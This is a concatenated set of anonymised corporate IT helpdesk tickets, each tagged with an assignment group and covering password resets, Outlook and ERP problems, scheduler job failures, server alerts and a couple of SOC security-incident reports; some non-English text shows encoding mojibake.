, is assigned to Assignment group: GRP\_16.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: hi team, my laptop's random shut down problem still exists. it now shows "no battery detected". , Description: hi team, my laptop's random shut down problem still exists. i lose important unsaved data because of it. it now shows "no battery detected". please replace battery or laptop or please rectify the issue as soon as possible., is assigned to Assignment group: GRP\_3.Ticket with Short description: tfrbwoua aegpkruc unable to print from pdf, Description: tfrbwoua aegpkruc unable to print from pdf, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent: need full py access for all german locations , Description: hi,
could you please usa me full access + permissions for maintaining py data in erp for all german locations?
reference id can be mnakehrf mvunqihf or hess kagthrl-heyinz.
approval can be provided by jywvemun qngschtz.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: increase the ramdnty from 80gb to 128 gb ramdnty for HostName\_1045, Description: increase the ramdnty from 80gb to 128 gb ramdnty for HostName\_1045 server, is assigned to Assignment group: GRP\_12.Ticket with Short description: reset password request for bobj, Description:
received from: iqcylpok.ascpqvni@gmail.com
hello,
please reset my password for bobj in SID\_37. my user name is mcfgtydonn. , is assigned to Assignment group: GRP\_0.Ticket with Short description: zip code entered into erp account in SID\_34 does not synch with msd crm, Description: hello\_x000D\_
account 81548372, zip code was updated in erp SID\_34, however it does not move to msd crm, the error says the post code is not valid. do we know in what format the postal code should be entered for israel? can you/elogic share the rules regarding postal code formats with lucindaÂ´s team, please?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: decommission of HostName\_553-old, Description: from: zmgsfner caltmgoe \_x000D\_
sent: 15 july 2016 13:50\_x000D\_
to: sadghryioshkurtyar hiremath <dcbligso.mfhquljk@gmail.com>\_x000D\_
cc: mfyivqes cpihaxbs <mfyivqes.cpihaxbs@gmail.com>\_x000D\_
subject: HostName\_553-old\_x000D\_
\_x000D\_
hi\_x000D\_
\_x000D\_
you can remove the old HostName\_553 from the domain now.\_x000D\_
\_x000D\_
i have not needed to access it recently.\_x000D\_
\_x000D\_
let me know when you are done and i will power it down and move into storage.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: password reset request from o365, Description: password reset request from o365, is assigned to Assignment group: GRP\_0.Ticket with Short description: low disk space on lhqSID\_1854 - f drive, Description: from: vwaliogd dviwuzhm
sent: friday, august 5, 2016 8:07 pm
to: gdhyrts muggftyali <tvmuzqio.bhsmdxgz@gmail.com>; sadghryioshkurtyar hiremath <dcbligso.mfhquljk@gmail.com>
cc: stefyty parkeyhrt <esntuago.kwxrdhuv@gmail.com>; wyjsbzda yfeuhtib <wyjsbzda.yfeuhtib@gmail.com>
subject: low disk space on lhqSID\_1854 - f drive
hi nagfghtyudra / sadghryiosh,
i was checking my access to lhqSID\_1854 for tomorrow's dot net application deployment and realized f: is running out of space with only 4kb free space. is this ok? if not, request your help to clear off any temporary files to free up some space.
adding stefyty parkeyhrt in cc if you need approvals to move over files between drives if required.
, is assigned to Assignment group: GRP\_12.Ticket with Short description: t drive folder access, Description: zugriff auf verzeichnis angefragt.
folder access requested.
benutzer id ?
user id karagtfma
benutzer die position titel?
user's position title manager commodities amerirtcas
verzeichnis?
folder //HostName\_768 all items under purchasing
art des zugriffs?
type of access ? (read only or full control) full control
name des vorgesetzten?
manager name?, is assigned to Assignment group: GRP\_34.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool funktioniert nicht., Description: EU\_tool funktioniert nicht.\_x000D\_
meldung : unbekannten fehler . system distributor\_tool fehler., is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software < -- > erp, Description: the terms of payment are not in line between crm and erp\_x000D\_
\_x000D\_
customer 81800540 fredi stury ag ruemlang\_x000D\_
\_x000D\_
sales org. 1278\_x000D\_
crm-entry: 0008 2% 20 days net 40 days \_x000D\_
erp-entry: 0027 2% 14 days net 30 days\_x000D\_
\_x000D\_
i suggested that both systems should reflect the same data.\_x000D\_
\_x000D\_
according to the information received from repyzajo lxfwopyq it was requested by sales and approved by finance.\_x000D\_
could you please change it back to 0027., is assigned to Assignment group: GRP\_15.Ticket with Short description: outlook is not opening., Description: outlook is not opening., is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request for kiosk users., Description: password reset request for kiosk users., is assigned to Assignment group: GRP\_0.Ticket with Short description: oprbatch extending plant views on fert items with missing/ incorrect settings., Description: oprbatch extending plant views on fert items with missing/ incorrect settings. mm 4994907 extended to plant\_322 - missing abc, spt incorrect, and mrptype incorrect. mm 5276470 extended to plant\_341 - missing abc, spt incorrect, mrp type incorrect, delivery plant incorrect for sales org 1320. mm 6065360 extended to plant\_9 - missing abc, spt incorrect, mrp type incorrect. in addition, when oprbatch extends, price control is defaulted to v, depending on source it should be s and this always needs corrected manually. , is assigned to Assignment group: GRP\_29.Ticket with Short description: mmaster sales org extensions created by oprbatch are creating errors in matgrp1 and material statistics, Description: mmaster sales org extensions created by oprbatch are creating errors in matgrp1 and material statistics. examples extended on august 9 which we had to correct this morning: 3528206 sales org 1227; 7320599 sales org 1206. we had 10 today that were blank and needed corrected. if we manually extended these, the system doesn't allow us to save with a blank. we need oprbatch to populate these fields.\_x000D\_
mmaster sales org extensions created by oprbatch are creating errors in matgrp1 and material statistics. examples extended on august 9 which we had to correct this morning: 3528206 sales org 1227; 7320599 sales org 1206. we had 10 today that were blank and needed corrected. if we manually extended these, the system doesn't allow us to save with a blank. we need oprbatch to populate these fields., is assigned to Assignment group: GRP\_29.Ticket with Short description: cannot use - net weaver business client 5.0, Description: \_x000D\_
\_x000D\_
received from: uvoyrbhp.qbupdjhw@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
i cannot use net weaver business client 5.0. please support for this issue\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1f333.8ea429e0]\_x000D\_
with warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: device replacement: setup new hp laserjet m575 mfp - replaces old ag65 - tel.: -328, Description: device replacement: setup new hp laserjet m575 mfp - replaces old ag65 - tel.: -328, is assigned to Assignment group: GRP\_28.Ticket with Short description: .netframdntyework 4.6.1 & business\_client 5.0 SID\_792 deployment across amerirtcas (specific list of pc's) - 11th aug 2016 , Description: \_x000D\_
\_x000D\_
received from: yqlvfkih.folbpugd@gmail.com\_x000D\_
\_x000D\_
dear folks,\_x000D\_
we have planned to deploy the dotnetframdntyework 4.6.1 & business\_client 5.0 SID\_792 on the enclosed list of engineering\_tool application installed pc's of amerirtcas region from thursday (11th aug) and also please ensure that all these users (as enclosed) are familiar with the package installation steps (type of package, installation duration, importance of the package, mode of the installation, times of reboot and installation behavior) through referring the below details.\_x000D\_
\_x000D\_
note : this is to deploy only on 73 pc's of amerirtcas that has engineering\_tool application installed (identified by engineering\_tool application team â€“ prioritized list)\_x000D\_
\_x000D\_
package details :\_x000D\_
\_x000D\_
\_x000D\_
deployment date: - aug 11th 2016 - thursday\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
time: - 9.00 am in the morning (as per the respective location time zone)\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
deployment tool: - patching\_antivirus\_sw\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
package type: - prompted. user will be prompted with prior notification to save all the work before proceeding the installation through clicking the continue button.\_x000D\_
\_x000D\_
duration: - 10 - 15 minutes\_x000D\_
\_x000D\_
restart required: - yes (prompt to restart after the installation of netframdntyework 4.6.1 & business\_client 5.0 SID\_792)\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
package behavior: - please go through the below provided bill bankrd and understand the importance of the package deployment .\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1f328.7d792db0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop is having blue screen, Description: laptop is having blue screen, is assigned to Assignment group: GRP\_0.Ticket with Short description: sent from snipping tool, Description: \_x000D\_
\_x000D\_
received from: afwzehqs.jfbxegac@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
after updating the erp, i am facing problem in oppening the attachments in erp quotes.\_x000D\_
\_x000D\_
please resolve immidiately as this is causing problem for my regular activity.\_x000D\_
\_x000D\_
[cid:image001.png@01d1f32d.b16020c0]\_x000D\_
\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: discounts, Description: cannot access discounts through collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool is getting locked out frequently., Description: engineering tool is getting locked out frequently., is assigned to Assignment group: GRP\_0.Ticket with Short description: holiday list needs rebuilt, Description: someone has deleted all of the holiday entries from the holiday list on the hub. there should be a backup in metavis that can be restored. please restore the list/, is assigned to Assignment group: GRP\_16.Ticket with Short description: outlook issue , Description: 280\_x000D\_
summary:unable to login to outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client prompts related to java promts, Description: please refer attachments to this ticket for more informations., is assigned to Assignment group: GRP\_11.Ticket with Short description: erp password reset request., Description: erp password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: setup new ws \thnsguzj utwijzag, Description: setup new ws \thnsguzj utwijzag, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \yucgfmiq jamgpnqe, Description: setup new ws \yucgfmiq jamgpnqe, is assigned to Assignment group: GRP\_24.Ticket with Short description: setun new ws \michghytuael luesebrink, Description: setun new ws \michghytuael luesebrink, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \uhammet kuluz, Description: setup new ws \uhammet kuluz, is assigned to Assignment group: GRP\_24.Ticket with Short description: install 64 bit version von ms office fÃ¼r pc 215502 im bÃ¼ro rohlings fertigung \njdrcagt shourxyp, Description: install 64 bit version von ms office fÃ¼r pc 215502 im bÃ¼ro rohlings fertigung \njdrcagt shourxyp, is assigned to Assignment group: GRP\_24.Ticket with Short description: report /dscsag/dms\_kpro\_contv\_clean1 is resulting in abap runtime error in SID\_1 , Description: i tried to run the report /dscsag/dms\_kpro\_contv\_clean1 in SID\_1 through background job with the following inputs. but it resulted in abap runtime error shown below.\_x000D\_
\_x000D\_
input variant: ugi\_clean\_x000D\_
application: ugi\_x000D\_
quantity of inactive content versions: 3\_x000D\_
\_x000D\_
i have attached the screen shots of the same in the document.\_x000D\_
\_x000D\_
we are working on this ticket :inc1535945 - plm content versions being generated without configuration. this report refers to this ticket., is assigned to Assignment group: GRP\_14.Ticket with Short description: forgot attendance\_tool password, Description: forgot attendance\_tool password, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlock suche , Description: \_x000D\_
\_x000D\_
received from: giumxwvh.lfvwjtin@gmail.com\_x000D\_
\_x000D\_
hallo help-team,\_x000D\_
\_x000D\_
ich habe das problem, dass wenn ich nach versendeten emails suche Ã¼ber die suche nach namen kommt folgende fehlermeldung.\_x000D\_
es kommen immer nur vorschlÃ¤ge bis zum 03.02.2016\_x000D\_
bitte prÃ¼fen und rÃ¼ckinfo.\_x000D\_
vielen dank\_x000D\_
[cid:image002.jpg@01d1f2f7.35b19750]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen/ kind , is assigned to Assignment group: GRP\_28.Ticket with Short description: abended job in job\_scheduler: Job\_3182, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_3182 at 08/10/16 05:01:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: outlook is not working , Description: outlook is not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset password for erp SID\_34 , Description: reset password for erp SID\_34 , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_593, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_593 at 08/10/16 04:25:28, is assigned to Assignment group: GRP\_8.Ticket with Short description: microsoft outlook2010 is not working for pdujfybc bvfdnale, Description: microsoft outlook2010 is not working for pdujfybc bvfdnale. pls. check pc edww8313043.\_x000D\_
, is assigned to Assignment group: GRP\_33.Ticket with Short description: visio printer and wireless mouse, Description: help to configure the wireless device id04 printer and install the visio 2010 on the reimaged laptop., is assigned to Assignment group: GRP\_19.Ticket with Short description: user called to give information regarding ticket\_no0428784, Description: user called to give information regarding ticket\_no0428784, is assigned to Assignment group: GRP\_0.Ticket with Short description: my account changed new password get many error in passwordmanage system ., Description: my account changed new password get many error in passwordmanage system . erp system password could not changed . my distributor\_tool system -, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client issue, Description: how do i change the "message server" when connecting to SID\_1?\_x000D\_
\_x000D\_
i believe that it should be lhqx20330, is assigned to Assignment group: GRP\_11.Ticket with Short description: æ–‡ä»¶æ— æ³•æ‰“å°åˆ°æ‰“å°æœºï¼Œæç¤ºæ‰“å°æœºé”™è¯¯ã€‚, Description: prtSID\_737--æ–‡ä»¶æ— æ³•æ‰“å°åˆ°æ‰“å°æœºï¼Œæç¤ºæ‰“å°æœºé”™è¯¯ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: fund, Description: hello ,\_x000D\_
\_x000D\_
below mail is definitely a spam mail. kindly take note of the same\_x000D\_
\_x000D\_
also if it is ok than forward this mail to all the employees to warn everyone.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: new prospect accounts created in crm do not get an erp number , Description: hello, \_x000D\_
\_x000D\_
i have two specific cases where a newly created prospect account in crm (modern construction and sandfield engineering) does not get an erp number, even after some days. after having run an advanced find search i found we have 385 such cases. please see attached file that describes the issue and the unique steps. \_x000D\_
\_x000D\_
if prospects do not get an erp id it results in the fact that they do not show up in the usersÂ´"my active prospects" view because it filters on prospects with erp id. users think that the account was not created and create the over and over again. we should review if we want to change the logic behind this view - i assume the filter was put in to exlude non-complete accounts. \_x000D\_
\_x000D\_
another issue i found during this troubleshooting process is i deactivated such a duplicate prospect and the audit log shows that 5 minutes later the account got activated again and got the erp number, too. please investigate this one too. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: quotation with configured new simple special items remains incomplete in SID\_1, Description: quotation with configured new simple special items remains incomplete in SID\_1:\_x000D\_
quotes were created in distributor\_tool.\_x000D\_
a) quote 3115968739 /11 - alternate mill\_model item gets not replaced with material # of initial item 10.\_x000D\_
b) quote 3115968742 / 10 and 11. pricing remains incomplete. i cannot identify what is actually incomplete. but erp shows the status incomplete and therefore the quote cannot be printed and sent to customer over web., is assigned to Assignment group: GRP\_13.Ticket with Short description: HostName\_587(germany,de-patching\_antivirus\_sw-production):is inactive since 8/4/2016 5:49 am est , Description: germany patching\_antivirus\_sw server. HostName\_587 shows down since 8/8/2016 5:49 am est .\_x000D\_
kindly check., is assigned to Assignment group: GRP\_12.Ticket with Short description: HostName\_973(hr\_tool tax\_interface app - qa):average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%), Description: HostName\_973(hr\_tool tax\_interface app - qa) : average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%), is assigned to Assignment group: GRP\_12.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_21
enter user id of user having the issue: chopamghy
transaction code(s) the user needs or was working with: spro
describe the issue: need the access of spro transaction in SID\_21
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user: milyhyakrp, is assigned to Assignment group: GRP\_2.Ticket with Short description: engineering tool, Description: das passwort wurde meinerseits falsch eingegeben. bitte passwort zurÃ¼cksetzen (engineering tool und erp). danke\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: while creating the order in distributor\_tool inco and shipping conditions are coming wrong . , Description: rabhtui and all,\_x000D\_
\_x000D\_
it looks like me may still have a web issue. the folks at the warehouse have seen some instances where the carrier has been a carrier tcode but the inco & sc were cip & 10 so kis is trying to change it to ups ground. in one case it looks like the inco & sc are pulling from the sold to & the carrier is coming from the ship-to and in another it looks like the customer changed the carrier but was flat rate already because i didn't see that carrier option listed as a default on either the sold to or ship to\_x000D\_
\_x000D\_
here are the two examples from the warehouse.\_x000D\_
\_x000D\_
delivery sales order\_x000D\_
9168970934 35892003 (came over as cip 10 tfedp1nd) sold-to is cip 10 tupsgrnd, ship-to is fca 04 tfedground w/ acct\_x000D\_
9168984363 35892687 (came over as cip 10 tfedground) sold-to is cip 10 tupsgrnd, ship-to is fca 05 tups w/ acct\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_20.Ticket with Short description: erp SID\_32 account locked , Description: erp SID\_32 account locked , is assigned to Assignment group: GRP\_2.Ticket with Short description: abended job in job\_scheduler: bkbackup\_tool\_reporting\_tool\_prod\_inc, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bkbackup\_tool\_reporting\_tool\_prod\_inc at 08/10/16 00:26:25, is assigned to Assignment group: GRP\_8.Ticket with Short description: enterprise scanner not working , Description: enterprise scanner not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it acc, Description: from: grhryueg dewicrth \_x000D\_
sent: wednesday, august 10, 2016 6:22 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rad:fwd: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access.\_x000D\_
importance: high\_x000D\_
\_x000D\_
can you please unblock and usa access to my new phone?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not getting any old mails in my outlook. kindly do the needful to restore the same. and help me store it in separate , Description: name:kargthythik
language:
browser:microsoft internet explorer
email:hjcpyxtq.okycpbsz@gmail.com
customer number:
telephone:
summary:i am not getting any old mails in my outlook. kindly do the needful to restore the same. and help me store it in separate location, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to vpn and reset password , Description: unable to login to vpn and reset password , is assigned to Assignment group: GRP\_0.Ticket with Short description: bex password was locked due to wrong typing. please reset the password, Description: name:zcqnuawo zxdtskpw
language:
browser:microsoft internet explorer
email:zcqnuawo.zxdtskpw@gmail.com
customer number:
telephone:
summary:bex password was locked due to wrong typing. please reset the password
, is assigned to Assignment group: GRP\_0.Ticket with Short description: email back problem in outlook, Description: \_x000D\_
\_x000D\_
received from: hjcpyxtq.okycpbsz@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i am not getting any old mails in my outlook. kindly do the needful to restore the same. and help me store it in separate location\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: pc to be made as stand by own, Description: \_x000D\_
\_x000D\_
received from: kzybxher.prjaswhe@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
pc number awyw8911438 should be made as stand by own it should not be connected to network, as we are using it for cmm machine it require a separate pc. kindly do the needful.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: abended job in job\_scheduler: Job\_549, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_549 at 08/09/16 23:10:22, is assigned to Assignment group: GRP\_8.Ticket with Short description: cannot open engineering\_tool, Description: \_x000D\_
\_x000D\_
received from: anpocezt.qturbxsg@gmail.com\_x000D\_
\_x000D\_
hello it\_x000D\_
when i try to open engineering\_tool i get this, so i delete engineering\_tool off my computer and then reinstalled it and i still get this\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: SID\_37hoti, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_37hoti at 08/09/16 23:03:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: SID\_51hotf, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_51hotf at 08/09/16 23:03:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: bk\_hana\_SID\_62\_erp\_dly\_dp, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bk\_hana\_SID\_62\_erp\_dly\_dp at 08/09/16 23:03:27, is assigned to Assignment group: GRP\_8.Ticket with Short description: bex cannot convert to excel sheet, Description: bex cannot convert to excel sheet, is assigned to Assignment group: GRP\_0.Ticket with Short description: domain account unlock, Description: domain account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: i'm trying to help nkademwy ihsepkwz log into oneteam, to update his direct deposit information, Description: \_x000D\_
ic\_x000D\_
welcome, our next available agent will be with you shortly...\_x000D\_
interaction alerting agent.\_x000D\_
website visitor has joined the conversation\_x000D\_
rakthyesh ramdntythanjesh\_x000D\_
hello christgry, , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to view screen on monitor when lid is closed, Description: unable to view screen on monitor when lid is closed, is assigned to Assignment group: GRP\_0.Ticket with Short description: å®¢æˆ·æä¾›çš„åœ¨çº¿ç³»ç»Ÿæ‰“ä¸å¼€, Description: å®¢æˆ·æä¾›çš„åœ¨çº¿é€è´§å•ç”Ÿæˆç³»ç»Ÿæ‰“ä¸å¼€ï¼Œéœ€å°½å¿«è§£å†³, is assigned to Assignment group: GRP\_48.Ticket with Short description: abended job in job\_scheduler: Job\_1320, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1320 at 08/09/16 19:26:27, is assigned to Assignment group: GRP\_9.Ticket with Short description: SID\_34/1108/vf01-vf04/ price problems zor agains zf2 inwarehouse\_tool, Description: we have facing problems with the inwarehouse\_tools , the price into the order is correct, but the inwarehouse\_tool has another price!!!!\_x000D\_
example order confirmed 35881790 delivery 9168954879 inwarehouse\_tool 0158914039\_x000D\_
example order confirmed 35882469 delivery 9168955759 inwarehouse\_tool 0158915223\_x000D\_
i must issue the inwarehouse\_tools 24 hours after the import payment. in this moment we stopped the process . , is assigned to Assignment group: GRP\_13.Ticket with Short description: cannot load finance\_app, Description: \_x000D\_
\_x000D\_
received from: pjxclyhs.fcniljtu@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
each time i select oracle enterprise from my bar, i get the following error:\_x000D\_
\_x000D\_
[cid:image001.png@01d1f26b.62be0da0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_55.Ticket with Short description: employment status - employee termination for user: [dbsgicet xzopjhlq - vvgtyhpej], Description: employee last name: peghyurozich
employee first name: jpsgeghtyui
employee number:2111114584
employee location: usa
manager's name: bwfhtumx japznrvb
employee's cost center: bdf001
employee self-service (ess) user only?
employee's last day of work:8/5/16
special instructions:, is assigned to Assignment group: GRP\_2.Ticket with Short description: reset passwords for nathyuasha smoltelephony\_software using password\_management\_tool password reset., Description: globalview (794, prtgghj4k) reset please!!!, is assigned to Assignment group: GRP\_17.Ticket with Short description: the snmp agent at '10.32.1.11' is not responding. [infoblox - usa datacenter primary dns], Description: the snmp agent at '10.32.1.11' is not responding. [infoblox - usa datacenter primary dns], is assigned to Assignment group: GRP\_56.Ticket with Short description: Job\_1953d:was running longer than 30 minutes kirtyled and rerun to successful completion., Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1953d at 08/09/16 16:52:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: please unlock account email in cell phone the users rabkypet zocjdutp (id:fothrmijm) and ltmoubvy utrimobs (gomeshthyru), Description: hello team,
could you please unlock account email in cell phone the users rabkypet zocjdutp (id:fothrmijm) and ltmoubvy utrimobs (gomeshthyru)
, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: usa pa, plant comcast secondary circuit is down at 4:19 pm et on 09/08., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_ 4:19 pm et on 09/08.\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_yes\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: excel continues to crash with 2-3 workbooks open, Description: error messages: "excel cannot complete the task with available resources. choose less data or close other applications." also "excel has stopped working". and i have beshryued-out areas of my screen or distorted screens that don't refresh the excel view. no pivot tables or complex macros in use. only excel with outlook, skype & powerpoint open. laptop fan runs constantly in dock with excel in use., is assigned to Assignment group: GRP\_0.Ticket with Short description: update dns on printer, Description: update dns on printer\_x000D\_
\_x000D\_
model - hp laser jet 4350dn\_x000D\_
dynamic ip address - \_x000D\_
fqdn: prtqi2019\_x000D\_
short name: SID\_99\_x000D\_
print server: \\HostName\_1332, is assigned to Assignment group: GRP\_0.Ticket with Short description: as per inc1530176::security incidents - (in33536629) : possible trojan infection - host: 10.44.94.214, Description:
from: gzhapcld fdigznbk
sent: wednesday, august 10, 2016 1:19 am
to: jenfrgryui lu
cc: sam wanrtyg; stefytyn shi; cothyshy wu; qfrntose ivnhumzjalakrisyuhnyrtn; nyrjkctu tbhkenlo; ugyothfz ugrmkdhx; suhtnhdyio psfshytd; kathght shfhyw; bhayhtrathramdnty mamilujli
subject: inc1530176::security incidents - (in33536629) : possible trojan infection - host: 10.44.94.214
hello jenfrgryui,
we are getting alerts possible downloader trojan from your 80.68.49.4169(user id: lughjm) device sourcing from 10.44.94.214 and destined to host 183.91.33.90, indicating that host 10.44.94.214 may be infected with malware.
due to the nature of this threat, it may be difficult to detect the compromise. because of the detection difficulty and severity of the threat, dell secureworks recommends that we remove the pc off the network at the earliest, format the hard drive and install a new system. it is not reliable to attempt to clean the virus.
in the meantime, as this is a high severity issue we are moving the corresponding account (user id: lughjm) to palo\_virus\_quarantine group. (no internet access).
common ways that computers become infected are listed below. please inform our team if you know how your pc may have become infected
1) using a portable usb drive (also known as "pen drive" or "thumb drive").
2) clicking a phishing email link.
3) visiting websites that may have been compromised by a hacker.
hello apac pc services,
after the pc has been re-imaged with immediate effect. please let us know .
we have created a ticketing\_tool ticket and assigned it to europe pc services. inc1530176
, is assigned to Assignment group: GRP\_2.Ticket with Short description: security incidents - ( dsw #in33390850 ) : suspicious ms-rpc/ms-ds/netbios activity - ( HostName\_1270 / 78.83.16.293 ), Description: source ip : 78.83.16.293
system name : HostName\_1270 - santiago,south amerirtca - backup exec server
user name: uidgt olibercsu (olvidley)
location : santiago,south amerirtca
sep , sms status : see below
field sales user ( yes / no) : no
dsw event log: see below
\*\*
content versions
fmxcnwpu tcwrdqboinition version: 08/08/2016 r19
sequence: 179828
host integrity content: not available
reputation settings: 03/02/2015 r5
ap portal list: 11/11/2015 r22
intrusion prevention signature: 08/08/2016 r11
power eraser definitions: 10/28/2015 r36
revocation content: 08/03/2016 r2
eraser engine: 115.2.1.18
sonar content: 07/18/2016 r1
extended file attributes and signatures: 07/26/2016 r2
symantec permitted applications list: 08/08/2016 r3
=========================
incident overview
=========================
we have detected at least 225 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName\_1270/78.83.16.293 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:
1. an infection on this host
2. a misconfigured firewall
3. a misconfigured host
4. port scan (authorized or unauthorized)
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at .
1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))
2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)
sincerely,
dell secureworks soc
=========================
technical details
=========================
